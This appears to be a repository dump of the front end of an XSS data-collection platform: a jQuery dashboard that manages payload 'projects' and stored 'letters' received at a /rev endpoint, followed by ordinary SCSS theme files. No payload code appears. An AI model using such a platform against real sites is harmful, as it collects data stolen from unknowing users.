'); 29 | }else{ 30 | $('#parameter').remove(); 31 | } 32 | } 33 | }); 34 | }else{ 35 | $('#parameter').remove(); 36 | $('#keep1').remove(); 37 | if(payload_name!=='0'){ 38 | $('#explain').html('自定义Payload:
参数:id(项目id,payload中使用平台url使用占位符(<-|HOST|->)代替、id占位符(<-|ID|->)代替、value(将作为信封内容存入数据库)
请求数据接受方式:GET和POST
请求地址: /rev'); 39 | $('#diy').append(''); 40 | }else{ 41 | $('#diypayload').remove(); 42 | } 43 | } 44 | }); 45 | 46 | //弹出changepass窗口 47 | $('a[name="Userinfo"]').click(function () { 48 | $("body").append(""); 49 | $("#mask").addClass("mask").fadeIn("slow"); 50 | $("#Userinfo").fadeIn("slow"); 51 | }); 52 | 53 | //Changepass事件 54 | $('button[name="changepass"]').click(function () { 55 | var newpass = $('#changepass').val(); 56 | var pass_copy = $('#passcopy').val(); 57 | var oldpass = $('#oldpass').val(); 58 | $("#Userinfo").fadeOut("fast"); 59 | if (newpass === pass_copy && newpass !== '' && oldpass !== '') { 60 | $.ajax({ 61 | type: "POST", 62 | url: "/user/changepass/", 63 | data: {newpass,oldpass}, 64 | success: function(msg){ 65 | var jsondic = JSON.parse(msg); 66 | if (jsondic.status !== 200){ 67 | $("#Failchange").fadeIn("slow"); 68 | }else{ 69 | $(location).prop('href', '/user/login'); 70 | } 71 | } 72 | }); 73 | }else{ 74 | $("#Failchange").fadeIn("slow"); 75 | } 76 | }); 77 | 78 | $('button[name="closechange"]').click(function () { 79 | $("#Userinfo").fadeOut("fast"); 80 | $("#mask").css({ display: 'none' }); 81 | }); 82 | 83 | 84 | $("button[name='addbutton']").click(function(){ 85 | var name = $('#name').val(); 86 | var describe = $('#describe').val(); 87 | var payload = $('#selectPayload').val(); 88 | var send_email=$('#send_email').is(':checked'); 89 | var check_par=$('#addparameter').html(); 90 | if(payload==='diy'){ 91 | var diy_payload = $('#payload_value').val(); 92 | var send_data = {name,describe,payload,send_email,diy_payload}; 93 | }else{ 94 | var send_data = {name,describe,payload,send_email}; 95 | } 96 | if(payload==='基础Payload'){ 97 | var send_email=$('#keep_alive').is(':checked'); 98 | send_data["send_email"] = send_email; 99 | } 100 | if(check_par!==''){ 101 | var parameter = $('#parameter_val').val(); 102 | send_data["parameter"] = parameter; 103 | } 104 | $.ajax({ 105 | type: "POST", 106 | url: "/user/ajax_add_project/", 107 | data: send_data, 108 | success: function(msg){ 109 | var jsondic = JSON.parse(msg); 110 | if (jsondic.status === 200){ 111 | $(location).prop('href', '/user/project'); 112 | }else{ 113 | alert(jsondic.value); 114 | } 115 | } 116 | }); 117 | 118 | }); 119 | 120 | //弹出信封内容 121 | $("button[name='letterid']").on('click', function () { 122 | $("#value").empty(); 123 | var letterid=$(this).val(); 124 | $.ajax({ 125 | type: "POST", 126 | url : "/user/ajax_letter_value/", 127 | data: {letterid}, 128 | success : function(msg){ 129 | var jsondic = JSON.parse(msg); 130 | if (jsondic.status === 200){ 131 | $("#value").val(jsondic.value); 132 | $("body").append(""); 133 | $("#mask").addClass("mask").fadeIn("slow"); 134 | $("#Letterinfo").fadeIn("slow"); 135 | } 136 | }}); 137 | }); 138 | 139 | //关闭按钮 140 | $(".close_btn").hover(function () { $(this).css({ color: 'black' }) }, function () { $(this).css({ color: '#999' }) }).on('click', function () { 141 | $("#Letterinfo").fadeOut("fast"); 142 | $("#Failchange").fadeOut("fast"); 143 | $("#mask").css({ display: 'none' }); 144 | }); 145 | 146 | //删除信封 147 | $("button[name='delletter']").click(function(){ 148 | var letterid=$(this).val(); 149 | $.ajax({ 150 | type: "POST", 151 | url : "/user/ajax_del_letter/", 152 | data: {letterid}, 153 | success : function(msg){ 154 | var jsondic = JSON.parse(msg); 155 | if (jsondic.status === 200){ 156 | window.location.reload(); 157 | } 158 | }}); 159 | }); 160 | 161 | //删除项目 162 | $("button[name='delproject']").click(function(){ 163 | var projectid=$(this).val(); 164 | $.ajax({ 165 | type: "POST", 166 | url : "/user/ajax_del_project/", 167 | data: {projectid}, 168 | success : function(msg){ 169 | var jsondic = JSON.parse(msg); 170 | if (jsondic.status === 200){ 171 | window.location.reload(); 172 | } 173 | }}); 174 | }); 175 | 176 | 177 | //Add active class to nav-link based on url dynamically 178 | //Active class can be hard coded directly in html file also as required 179 | var current = location.pathname.split("/").slice(-1)[0].replace(/^\/|\/$/g, ''); 180 | $('.nav li a', sidebar).each(function() { 181 | var $this = $(this); 182 | if (current === "") { 183 | //for root url 184 | if ($this.attr('href').indexOf("index.html") !== -1) { 185 | $(this).parents('.nav-item').last().addClass('active'); 186 | if ($(this).parents('.sub-menu').length) { 187 | $(this).closest('.collapse').addClass('show'); 188 | $(this).addClass('active'); 189 | } 190 | } 191 | } else { 192 | //for other url 193 | if ($this.attr('href').indexOf(current) !== -1) { 194 | $(this).parents('.nav-item').last().addClass('active'); 195 | if ($(this).parents('.sub-menu').length) { 196 | $(this).closest('.collapse').addClass('show'); 197 | $(this).addClass('active'); 198 | } 199 | } 200 | } 201 | }) 202 | 203 | //Close other submenu in sidebar on opening any 204 | 205 | sidebar.on('show.bs.collapse', '.collapse', function() { 206 | sidebar.find('.collapse.show').collapse('hide'); 207 | }); 208 | 209 | 210 | //Change sidebar and content-wrapper height 211 | applyStyles(); 212 | 213 | function applyStyles() { 214 | //Applying perfect scrollbar 215 | if (!body.hasClass("rtl")) { 216 | if ($('.tab-content .tab-pane.scroll-wrapper').length) { 217 | const settingsPanelScroll = new PerfectScrollbar('.settings-panel .tab-content .tab-pane.scroll-wrapper'); 218 | } 219 | if ($('.chats').length) { 220 | const chatsScroll = new PerfectScrollbar('.chats'); 221 | } 222 | } 223 | } 224 | 225 | //checkbox and radios 226 | $(".form-check label,.form-radio label").append(''); 227 | 228 | //fullscreen 229 | $("#fullscreen-button").on("click", function toggleFullScreen() { 230 | if ((document.fullScreenElement !== undefined && document.fullScreenElement === null) || (document.msFullscreenElement !== undefined && document.msFullscreenElement === null) || (document.mozFullScreen !== undefined && !document.mozFullScreen) || (document.webkitIsFullScreen !== undefined && !document.webkitIsFullScreen)) { 231 | if (document.documentElement.requestFullScreen) { 232 | document.documentElement.requestFullScreen(); 233 | } else if (document.documentElement.mozRequestFullScreen) { 234 | document.documentElement.mozRequestFullScreen(); 235 | } else if (document.documentElement.webkitRequestFullScreen) { 236 | document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT); 237 | } else if (document.documentElement.msRequestFullscreen) { 238 | document.documentElement.msRequestFullscreen(); 239 | } 240 | } else { 241 | if (document.cancelFullScreen) { 242 | document.cancelFullScreen(); 243 | } else if (document.mozCancelFullScreen) { 244 | document.mozCancelFullScreen(); 245 | } else if (document.webkitCancelFullScreen) { 246 | document.webkitCancelFullScreen(); 247 | } else if (document.msExitFullscreen) { 248 | document.msExitFullscreen(); 249 | } 250 | } 251 | }) 252 | }); 253 | })(jQuery); -------------------------------------------------------------------------------- /static/user/js/off-canvas.js: -------------------------------------------------------------------------------- 1 | (function($) { 2 | 'use strict'; 3 | $(function() { 4 | $('[data-toggle="offcanvas"]').on("click", function() { 5 | $('.sidebar-offcanvas').toggleClass('active') 6 | }); 7 | }); 8 | })(jQuery); -------------------------------------------------------------------------------- /static/user/scss/_background.scss: -------------------------------------------------------------------------------- 1 | /* Backgrounds */ 2 | @each $color, $value in $theme-gradient-colors { 3 | .bg-gradient-#{$color} { 4 | background: theme-gradient-color($color); 5 | } 6 | } 7 | 8 | .sidebar-grdient-dark{ 9 | background: rgba(106,0,138,1); 10 | background: -moz-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 11 | background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(106,0,138,1)), color-stop(20%, rgba(106,0,138,1)), color-stop(100%, rgba(250,0,83,1))); 12 | background: -webkit-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 13 | background: -o-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 14 | background: -ms-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 15 | background: linear-gradient(to bottom, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%); 16 | filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#6a008a', endColorstr='#fa0053', GradientType=0 ); 17 | color: $white; 18 | } -------------------------------------------------------------------------------- /static/user/scss/_demo.scss: -------------------------------------------------------------------------------- 1 | /* Demo Styles */ 2 | // Add spacing to Boostrap components for demo purpose 3 | .template-demo { 4 | > .btn { 5 | @extend .mt-3; 6 | @extend .mr-3; 7 | } 8 | 9 | > .btn-toolbar { 10 | @extend .mt-3; 11 | @extend .mr-3; 12 | } 13 | 14 | > .btn-group, 15 | > .btn-group-vertical { 16 | @extend .mt-2; 17 | @extend .mr-2; 18 | } 19 | 20 | > h2, 21 | > h3, 22 | > h4, 23 | > h5, 24 | > h6, 25 | > h1 { 26 | border-top: 1px solid $border-color; 27 | padding: 0.5rem 0 0; 28 | } 29 | 30 | > .dropdown { 31 | display: inline-block; 32 | @extend .mr-2; 33 | margin-bottom: 0.5rem; 34 | } 35 | 36 | nav { 37 | .breadcrumb { 38 | margin-bottom: 1.375rem; 39 | } 40 | 41 | &:last-child { 42 | .breadcrumb { 43 | margin-bottom: 0; 44 | } 45 | } 46 | } 47 | } 48 | 49 | .dropdown-menu-static-demo { 50 | height: 250px; 51 | margin-bottom: 20px; 52 | } 53 | 54 | .rounded-legend { 55 | ul { 56 | li { 57 | list-style-type: none; 58 | color: $text-muted; 59 | font-size: .75rem; 60 | .legend-dots { 61 | width: 1rem; 62 | height: 1rem; 63 | border-radius: 100%; 64 | display: inline-block; 65 | vertical-align: text-bottom; 66 | margin-right: .5rem; 67 | .rtl & { 68 | margin-left: .5rem; 69 | } 70 | } 71 | } 72 | } 73 | &.legend-horizontal { 74 | @include display-flex; 75 | ul { 76 | li { 77 | display: inline-block; 78 | margin-right: 1.5rem; 79 | .rtl & { 80 | margin-right: auto; 81 | margin-left: 1.5rem; 82 | } 83 | } 84 | } 85 | } 86 | &.legend-top-right { 87 | ul { 88 | float: right; 89 | .rtl & { 90 | float: left; 91 | } 92 | } 93 | } 94 | &.legend-vertical { 95 | ul { 96 | li { 97 | margin-top: 1rem; 98 | } 99 | } 100 | } 101 | } 102 | .purchase-popup { 103 | @extend .grid-margin; 104 | background: rgba(191, 187, 187, 0.46); 105 | padding: 15px 20px; 106 | @include border-radius(3px); 107 | 108 | .btn { 109 | margin-right: 20px; 110 | font-weight: 500; 111 | color: $white; 112 | @include border-radius(5px); 113 | @include transition-duration(0.2s); 114 | 115 | &.download-button { 116 | background: rgba(249, 249, 249, 0.7); 117 | color: #969292; 118 | border: 1px solid darken(#e4e4e4,10%); 119 | } 120 | 121 | &.purchase-button { 122 | background-color: rgba(172, 50 ,228, 0.9); 123 | @include background-image(theme-gradient-color(primary)); 124 | color: $white; 125 | border: none; 126 | line-height: 1; 127 | vertical-align: middle; 128 | } 129 | } 130 | 131 | p { 132 | margin-bottom: auto; 133 | margin-top: auto; 134 | color: darken(#e4e4e4,40%); 135 | font-weight: 400; 136 | vertical-align: middle; 137 | line-height: 1; 138 | } 139 | 140 | i { 141 | vertical-align: middle; 142 | line-height: 1; 143 | margin: auto 0; 144 | color: darken(#e4e4e4,20%); 145 | } 146 | } -------------------------------------------------------------------------------- /static/user/scss/_fonts.scss: -------------------------------------------------------------------------------- 1 | /* Fonts */ 2 | 3 | //PT_Sans 4 | @font-face { 5 | font-family: 'ubuntu-light'; 6 | src: url('../fonts/Ubuntu/Ubuntu-Light.eot'); /* IE9 Compat Modes */ 7 | src: url('../fonts/Ubuntu/Ubuntu-Light.woff2') format('woff2'), /* Super Modern Browsers */ 8 | url('../fonts/Ubuntu/Ubuntu-Light.woff') format('woff'), /* Pretty Modern Browsers */ 9 | url('../fonts/Ubuntu/Ubuntu-Light.ttf') format('truetype'), /* Safari, Android, iOS */ 10 | } 11 | @font-face { 12 | font-family: 'ubuntu-regular'; 13 | src: url('../fonts/Ubuntu/Ubuntu-Regular.eot'); /* IE9 Compat Modes */ 14 | src: url('../fonts/Ubuntu/Ubuntu-Regular.woff2') format('woff2'), /* Super Modern Browsers */ 15 | url('../fonts/Ubuntu/Ubuntu-Regular.woff') format('woff'), /* Pretty Modern Browsers */ 16 | url('../fonts/Ubuntu/Ubuntu-Regular.ttf') format('truetype'), /* Safari, Android, iOS */ 17 | } 18 | @font-face { 19 | font-family: 'ubuntu-medium'; 20 | src: url('../fonts/Ubuntu/Ubuntu-Medium.eot'); /* IE9 Compat Modes */ 21 | src: url('../fonts/Ubuntu/Ubuntu-Medium.woff2') format('woff2'), /* Super Modern Browsers */ 22 | url('../fonts/Ubuntu/Ubuntu-Medium.woff') format('woff'), /* Pretty Modern Browsers */ 23 | url('../fonts/Ubuntu/Ubuntu-Medium.ttf') format('truetype'), /* Safari, Android, iOS */ 24 | } 25 | @font-face { 26 | font-family: 'ubuntu-bold'; 27 | src: url('../fonts/Ubuntu/Ubuntu-Bold.eot'); /* IE9 Compat Modes */ 28 | src: url('../fonts/Ubuntu/Ubuntu-Bold.woff2') format('woff2'), /* Super Modern Browsers */ 29 | url('../fonts/Ubuntu/Ubuntu-Bold.woff') format('woff'), /* Pretty Modern Browsers */ 30 | url('../fonts/Ubuntu/Ubuntu-Bold.ttf') format('truetype'), /* Safari, Android, iOS */ 31 | } 32 | -------------------------------------------------------------------------------- /static/user/scss/_footer.scss: -------------------------------------------------------------------------------- 1 | /* Footer */ 2 | 3 | .footer { 4 | background: $footer-bg; 5 | color: $footer-color; 6 | padding: 30px 1rem; 7 | transition: all $action-transition-duration $action-transition-timing-function; 8 | -moz-transition: all $action-transition-duration $action-transition-timing-function; 9 | -webkit-transition: all $action-transition-duration $action-transition-timing-function; 10 | -ms-transition: all $action-transition-duration $action-transition-timing-function; 11 | font-size: calc(#{$default-font-size} - 0.05rem); 12 | font-family: $type1-regular; 13 | border-top: 1px solid darken($footer-bg, 10%); 14 | a { 15 | color: theme-color(success); 16 | font-size: inherit; 17 | } 18 | @media (max-width: 991px) { 19 | margin-left: 0; 20 | width: 100%; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /static/user/scss/_functions.scss: -------------------------------------------------------------------------------- 1 | // Functions 2 | 3 | @function social-color($key: "twitter") { 4 | @return map-get($social-colors, $key); 5 | } 6 | 7 | @function theme-gradient-color($key: "primary") { 8 | @return map-get($theme-gradient-colors, $key); 9 | } -------------------------------------------------------------------------------- /static/user/scss/_misc.scss: -------------------------------------------------------------------------------- 1 | /* Miscellanoeous */ 2 | body, 3 | html { 4 | overflow-x: hidden; 5 | padding-right: 0 !important; // resets padding right added by Bootstrap modal 6 | } 7 | 8 | *:-moz-full-screen, 9 | *:-webkit-full-screen, 10 | *:fullscreen *:-ms-fullscreen { 11 | overflow: auto; 12 | } 13 | 14 | .page-body-wrapper { 15 | min-height: calc(100vh - #{$navbar-height}); 16 | @include display-flex(); 17 | @include flex-direction(row); 18 | padding-left: 0; 19 | padding-right: 0; 20 | padding-top: $navbar-height; 21 | 22 | &.full-page-wrapper { 23 | width: 100%; 24 | min-height: 100vh; 25 | padding-top: 0; 26 | } 27 | } 28 | 29 | .main-panel { 30 | transition: width $action-transition-duration $action-transition-timing-function, margin $action-transition-duration $action-transition-timing-function; 31 | width: calc(100% - #{$sidebar-width-lg}); 32 | min-height: calc(100vh - #{$navbar-height}); 33 | @include display-flex(); 34 | @include flex-direction(column); 35 | @media (max-width: 991px) { 36 | margin-left: 0; 37 | width: 100%; 38 | } 39 | } 40 | 41 | .content-wrapper { 42 | background: $content-bg; 43 | padding: 2.75rem 2.25rem; 44 | width: 100%; 45 | @include flex-grow(1); 46 | } 47 | 48 | .container-scroller { 49 | overflow: hidden; 50 | } 51 | 52 | pre { 53 | background: color(gray-lighter); 54 | padding: 15px; 55 | font-size: 14px; 56 | } 57 | 58 | code { 59 | padding: 5px; 60 | color: theme-color(danger); 61 | font-family: $type1-light; 62 | font-size: $default-font-size; 63 | border-radius: 4px; 64 | } 65 | 66 | .page-header { 67 | @extend .d-flex; 68 | @extend .justify-content-between; 69 | @extend .align-items-center; 70 | margin: 0 0 1.5rem 0; 71 | .breadcrumb { 72 | border: 0; 73 | margin-bottom: 0; 74 | } 75 | } 76 | .page-title { 77 | color: $black; 78 | font-size: 1.125rem; 79 | margin-bottom: 0; 80 | .page-title-icon { 81 | display: inline-block; 82 | width: 36px; 83 | height: 36px; 84 | border-radius: 4px; 85 | text-align: center; 86 | box-shadow: 0px 3px 8.3px 0.7px rgba(163, 93, 255, 0.35); 87 | i { 88 | font-size: .9375rem; 89 | line-height: 36px; 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /static/user/scss/_reset.scss: -------------------------------------------------------------------------------- 1 | /* Reset Styles */ 2 | 3 | body { 4 | padding: 0; 5 | margin: 0; 6 | overflow-x: hidden; 7 | } 8 | 9 | .form-control, 10 | .form-control:focus { 11 | -webkit-box-shadow: none; 12 | -moz-box-shadow: none 13 | } 14 | 15 | .form-control { 16 | box-shadow: none 17 | } 18 | 19 | .form-control:focus { 20 | outline: 0; 21 | box-shadow: none 22 | } 23 | 24 | a, 25 | div, 26 | h1, 27 | h2, 28 | h3, 29 | h4, 30 | h5, 31 | p, 32 | span { 33 | text-shadow: none 34 | } 35 | 36 | [type=button]:focus, 37 | a:active, 38 | a:focus, 39 | a:visited, 40 | button::-moz-focus-inner, 41 | input[type=reset]::-moz-focus-inner, 42 | input[type=button]::-moz-focus-inner, 43 | input[type=submit]::-moz-focus-inner, 44 | input[type=file]>input[type=button]::-moz-focus-inner, 45 | select::-moz-focus-inner { 46 | outline: 0 47 | } 48 | 49 | input, 50 | .form-control:focus, 51 | input:focus, 52 | select:focus, 53 | textarea:focus, 54 | button:focus { 55 | outline: none; 56 | outline-width: 0; 57 | outline-color: transparent; 58 | box-shadow: none; 59 | outline-style: none; 60 | } 61 | 62 | textarea { 63 | resize: none; 64 | overflow-x: hidden; 65 | } 66 | 67 | .btn, 68 | .btn-group.open .dropdown-toggle, 69 | .btn:active, 70 | .btn:focus, 71 | .btn:hover, 72 | .btn:visited, 73 | a, 74 | a:active, 75 | a:checked, 76 | a:focus, 77 | a:hover, 78 | a:visited, 79 | body, 80 | button, 81 | button:active, 82 | button:hover, 83 | button:visited, 84 | div, 85 | input, 86 | input:active, 87 | input:focus, 88 | input:hover, 89 | input:visited, 90 | select, 91 | select:active, 92 | select:focus, 93 | select:visited, 94 | textarea, 95 | textarea:active, 96 | textarea:focus, 97 | textarea:hover, 98 | textarea:visited { 99 | -webkit-box-shadow: none; 100 | -moz-box-shadow: none; 101 | box-shadow: none 102 | } 103 | 104 | .btn.active.focus, 105 | .btn.active:focus, 106 | .btn.focus, 107 | .btn:active.focus, 108 | .btn:active:focus, 109 | .btn:focus, 110 | button, 111 | button:active, 112 | button:checked, 113 | button:focus, 114 | button:hover, 115 | button:visited { 116 | outline: 0; 117 | outline-offset: 0 118 | } 119 | 120 | .bootstrap-select .dropdown-toggle:focus { 121 | outline: 0 ; 122 | outline-offset: 0; 123 | } 124 | 125 | .dropdown-menu>li>a:active, 126 | .dropdown-menu>li>a:focus, 127 | .dropdown-menu>li>a:hover, 128 | .dropdown-menu>li>a:visited { 129 | outline: 0; 130 | } 131 | 132 | a:focus, 133 | input:focus { 134 | border-color: transparent; 135 | outline: none 136 | } 137 | -------------------------------------------------------------------------------- /static/user/scss/_sidebar.scss: -------------------------------------------------------------------------------- 1 | /* Sidebar */ 2 | 3 | .sidebar { 4 | min-height: calc(100vh - #{$navbar-height}); 5 | background: $sidebar-light-bg; 6 | font-family: $type1-regular; 7 | padding: 0; 8 | width: $sidebar-width-lg; 9 | z-index: 11; 10 | transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 11 | -webkit-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 12 | -moz-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 13 | -ms-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function; 14 | 15 | .nav { 16 | overflow: hidden; 17 | flex-wrap: nowrap; 18 | flex-direction: column; 19 | margin-bottom: 60px; 20 | 21 | .nav-item { 22 | padding:0 $sidebar-menu-padding-x; 23 | @include transition-duration(0.25s); 24 | transition-property: background; 25 | -webkit-transition-property: background; 26 | .collapse { 27 | z-index: 999; 28 | } 29 | 30 | .nav-link { 31 | @include display-flex; 32 | @include align-items(center); 33 | white-space: nowrap; 34 | padding:$sidebar-menu-padding-y 0 $sidebar-menu-padding-y 0; 35 | color: $sidebar-light-menu-color; 36 | @include transition-duration(0.45s); 37 | transition-property: color; 38 | -webkit-transition-property: color; 39 | 40 | i { 41 | color: inherit; 42 | 43 | &.menu-icon { 44 | font-size: $sidebar-icon-font-size; 45 | line-height: 1; 46 | margin-left: auto; 47 | color: $sidebar-light-menu-icon-color; 48 | &:before { 49 | vertical-align: middle; 50 | } 51 | } 52 | 53 | &.menu-arrow { 54 | font: normal normal normal 24px/1 "Material Design Icons"; 55 | line-height: 1; 56 | font-size: $sidebar-icon-font-size; 57 | margin-left: auto; 58 | color: $sidebar-light-menu-arrow-color; 59 | &:before{ 60 | content: "\f141"; 61 | font-size: inherit; 62 | color: inherit; 63 | } 64 | + .menu-icon { 65 | margin-left: .25rem; 66 | } 67 | } 68 | } 69 | 70 | .menu-title { 71 | color: inherit; 72 | display: inline-block; 73 | font-size: $sidebar-menu-font-size; 74 | line-height: 1; 75 | vertical-align: middle; 76 | } 77 | 78 | .badge { 79 | margin-right: auto; 80 | margin-left: 1rem; 81 | } 82 | 83 | &[aria-expanded="true"]{ 84 | .menu-arrow{ 85 | &:before{ 86 | content: "\f140"; 87 | } 88 | } 89 | } 90 | } 91 | 92 | &.active { 93 | background: $sidebar-light-menu-active-bg; 94 | > .nav-link { 95 | .menu-title { 96 | color: $sidebar-light-menu-active-color; 97 | font-family: $type1-medium; 98 | } 99 | i { 100 | color: theme-color(primary); 101 | } 102 | } 103 | } 104 | &:hover{ 105 | background: $sidebar-light-menu-hover-bg; 106 | } 107 | &.nav-profile { 108 | .nav-link { 109 | height: auto; 110 | line-height: 1; 111 | border-top: 0; 112 | padding: 1.25rem 0; 113 | .nav-profile-image { 114 | width: 44px; 115 | height: 44px; 116 | img { 117 | width: 44px; 118 | height: 44px; 119 | border-radius: 100%; 120 | } 121 | } 122 | .nav-profile-text { 123 | margin-left: 1rem; 124 | } 125 | .nav-profile-badge { 126 | font-size: 1.125rem; 127 | margin-left: auto; 128 | } 129 | } 130 | } 131 | &.sidebar-actions { 132 | margin-top: 1rem; 133 | .nav-link { 134 | border-top: 0; 135 | display: block; 136 | height: auto; 137 | } 138 | &:hover { 139 | background: initial; 140 | .nav-link { 141 | color: initial; 142 | } 143 | } 144 | } 145 | } 146 | 147 | &:not(.sub-menu) { 148 | > .nav-item { 149 | &:hover { 150 | &:not(.nav-category):not(.nav-profile) { 151 | > .nav-link { 152 | color: $sidebar-light-menu-hover-color; 153 | } 154 | } 155 | } 156 | } 157 | } 158 | &.sub-menu { 159 | margin-bottom: 20px; 160 | margin-top:0; 161 | list-style: none; 162 | 163 | .nav-item { 164 | padding: 0; 165 | .nav-link { 166 | color: $sidebar-light-submenu-color; 167 | padding: $sidebar-submenu-item-padding; 168 | position: relative; 169 | font-size: $sidebar-submenu-font-size; 170 | line-height: 1; 171 | height: auto; 172 | border-top: 0; 173 | &:before { 174 | content: "\F054"; 175 | font-family: "Material Design Icons"; 176 | display: block; 177 | position: absolute; 178 | left:0px; 179 | top:50%; 180 | @include transform(translateY(-50%)); 181 | color: lighten($sidebar-light-submenu-color, 10%); 182 | font-size: .75rem; 183 | } 184 | &.active { 185 | color: $sidebar-light-menu-active-color; 186 | background: transparent; 187 | } 188 | &:hover { 189 | color: $sidebar-light-submenu-hover-color; 190 | } 191 | } 192 | &:hover { 193 | background: transparent; 194 | } 195 | } 196 | } 197 | } 198 | } 199 | 200 | /* style for off-canvas menu*/ 201 | @media screen and (max-width: 991px) { 202 | .sidebar-offcanvas { 203 | position: fixed; 204 | max-height: calc(100vh - #{$navbar-height}); 205 | top: $navbar-height; 206 | bottom: 0; 207 | overflow: auto; 208 | right: -$sidebar-width-lg; 209 | -webkit-transition: all 0.25s ease-out; 210 | -o-transition: all 0.25s ease-out; 211 | transition: all 0.25s ease-out; 212 | &.active { 213 | right: 0; 214 | } 215 | } 216 | } -------------------------------------------------------------------------------- /static/user/scss/_typography.scss: -------------------------------------------------------------------------------- 1 | /* Typography */ 2 | 3 | body { 4 | font-size: 1rem; 5 | font-family: $type1-regular; 6 | font-weight: initial; 7 | line-height: normal; 8 | -webkit-font-smoothing: antialiased; 9 | } 10 | h1, 11 | h2, 12 | h3, 13 | h4, 14 | h5, 15 | h6, 16 | .h1, 17 | .h2, 18 | .h3, 19 | .h4, 20 | .h5, 21 | .h6 { 22 | font-family: $type1-medium; 23 | } 24 | p { 25 | font-size: $default-font-size; 26 | } 27 | h1, 28 | .h1 { 29 | font-size: 2.19rem; 30 | } 31 | h2, 32 | .h2 { 33 | font-size: 1.88rem; 34 | } 35 | h3, 36 | .h3 { 37 | font-size: 1.56rem; 38 | } 39 | h4, 40 | .h4 { 41 | font-size: 1.13rem; 42 | } 43 | h5, 44 | .h5 { 45 | font-size: 1rem; 46 | } 47 | h6, 48 | .h6 { 49 | font-size: .9375rem; 50 | } 51 | p { 52 | font-size: .9375rem; 53 | line-height: 1.5; 54 | } 55 | .display-1 { 56 | font-size: 3.75rem; 57 | @media (max-width: 991px) { 58 | font-size: 3rem; 59 | } 60 | } 61 | .display-2 { 62 | font-size: 3.125rem; 63 | @media (max-width: 991px) { 64 | font-size: 2.5rem; 65 | } 66 | } 67 | .display-3 { 68 | font-size: 2.5rem; 69 | @media (max-width: 991px) { 70 | font-size: 2rem; 71 | } 72 | } 73 | .display-4 { 74 | font-size: 1.875rem; 75 | @media (max-width: 991px) { 76 | font-size: 1.5rem; 77 | } 78 | } 79 | .display-5 { 80 | font-size: 1.25rem; 81 | @media (max-width: 991px) { 82 | font-size: 1rem; 83 | } 84 | } 85 | .blockquote { 86 | padding: 1.25rem; 87 | border: 1px solid $border-color; 88 | } 89 | 90 | address { 91 | p { 92 | margin-bottom: 0; 93 | } 94 | } 95 | 96 | //blockqoute color variations 97 | @each $color, $value in $theme-colors { 98 | .blockquote-#{$color} { 99 | @include blockquote($value); 100 | } 101 | } 102 | .error-page { 103 | h1 { 104 | font-size: 12rem; 105 | @media (max-width: 991px) { 106 | font-size: 8rem; 107 | } 108 | } 109 | } 110 | .icon-lg { 111 | font-size: 3.438rem; 112 | } 113 | .icon-md { 114 | font-size: 1.875rem; 115 | } 116 | .icon-sm { 117 | font-size: 1rem; 118 | } 119 | -------------------------------------------------------------------------------- /static/user/scss/_utilities.scss: -------------------------------------------------------------------------------- 1 | /* Utilities */ 2 | 3 | .grid-margin { 4 | margin-bottom: $card-spacing-y; 5 | } 6 | .grid-margin-sm-0 { 7 | @media (min-width: 576px) { 8 | margin-bottom: 0; 9 | } 10 | } 11 | .grid-margin-md-0 { 12 | @media (min-width: 768px) { 13 | margin-bottom: 0; 14 | } 15 | } 16 | .grid-margin-lg-0 { 17 | @media (min-width: 992px) { 18 | margin-bottom: 0; 19 | } 20 | } 21 | .grid-margin-xl-0 { 22 | @media (min-width: 1200px) { 23 | margin-bottom: 0; 24 | } 25 | } 26 | .img-lg { 27 | width: 92px; 28 | height: 92px; 29 | } 30 | .img-sm { 31 | width: 43px; 32 | height: 43px; 33 | } 34 | .img-xs { 35 | width: 37px; 36 | height: 37px; 37 | } 38 | .img-ss { 39 | width: 26px; 40 | height: 26px; 41 | } 42 | .stretch-card { 43 | @include display-flex; 44 | @include align-items(stretch); 45 | @include justify-content(stretch); 46 | >.card{ 47 | width: 100%; 48 | min-width: 100%; 49 | } 50 | } 51 | 52 | .border-right-sm { 53 | @media (min-width: 576px) { 54 | border-right: $border-width solid $border-color; 55 | } 56 | } 57 | .border-right-md { 58 | @media (min-width: 768px) { 59 | border-right: $border-width solid $border-color; 60 | } 61 | } 62 | .border-right-lg { 63 | @media (min-width: 992px) { 64 | border-right: $border-width solid $border-color; 65 | } 66 | } 67 | 68 | .border-left-sm { 69 | @media (min-width: 576px) { 70 | border-left: $border-width solid $border-color; 71 | } 72 | } 73 | .border-left-md { 74 | @media (min-width: 768px) { 75 | border-left: $border-width solid $border-color; 76 | } 77 | } 78 | .border-left-lg { 79 | @media (min-width: 992px) { 80 | border-left: $border-width solid $border-color; 81 | } 82 | } 83 | 84 | .text-gray { 85 | color: #8c8c8c; 86 | } 87 | 88 | .text-black { 89 | color: $black; 90 | } 91 | 92 | .text-small { 93 | font-size: 12px; 94 | } 95 | 96 | .flex-grow { 97 | flex-grow: 1; 98 | } 99 | 100 | .font-weight-light { 101 | font-family: $type1-light; 102 | } 103 | 104 | .font-weight-bold { 105 | font-family: $type1-bold; 106 | } 107 | 108 | .font-weight-normal { 109 | font-family: $type1-regular; 110 | } 111 | -------------------------------------------------------------------------------- /static/user/scss/_variables.scss: -------------------------------------------------------------------------------- 1 | 2 | ////////// COLOR SYSTEM ////////// 3 | 4 | $blue: #5E50F9; 5 | $indigo: #6610f2; 6 | $purple: #6a008a; 7 | $pink: #E91E63; 8 | $red: #f96868; 9 | $orange: #f2a654; 10 | $yellow: #f6e84e; 11 | $green: #46c35f; 12 | 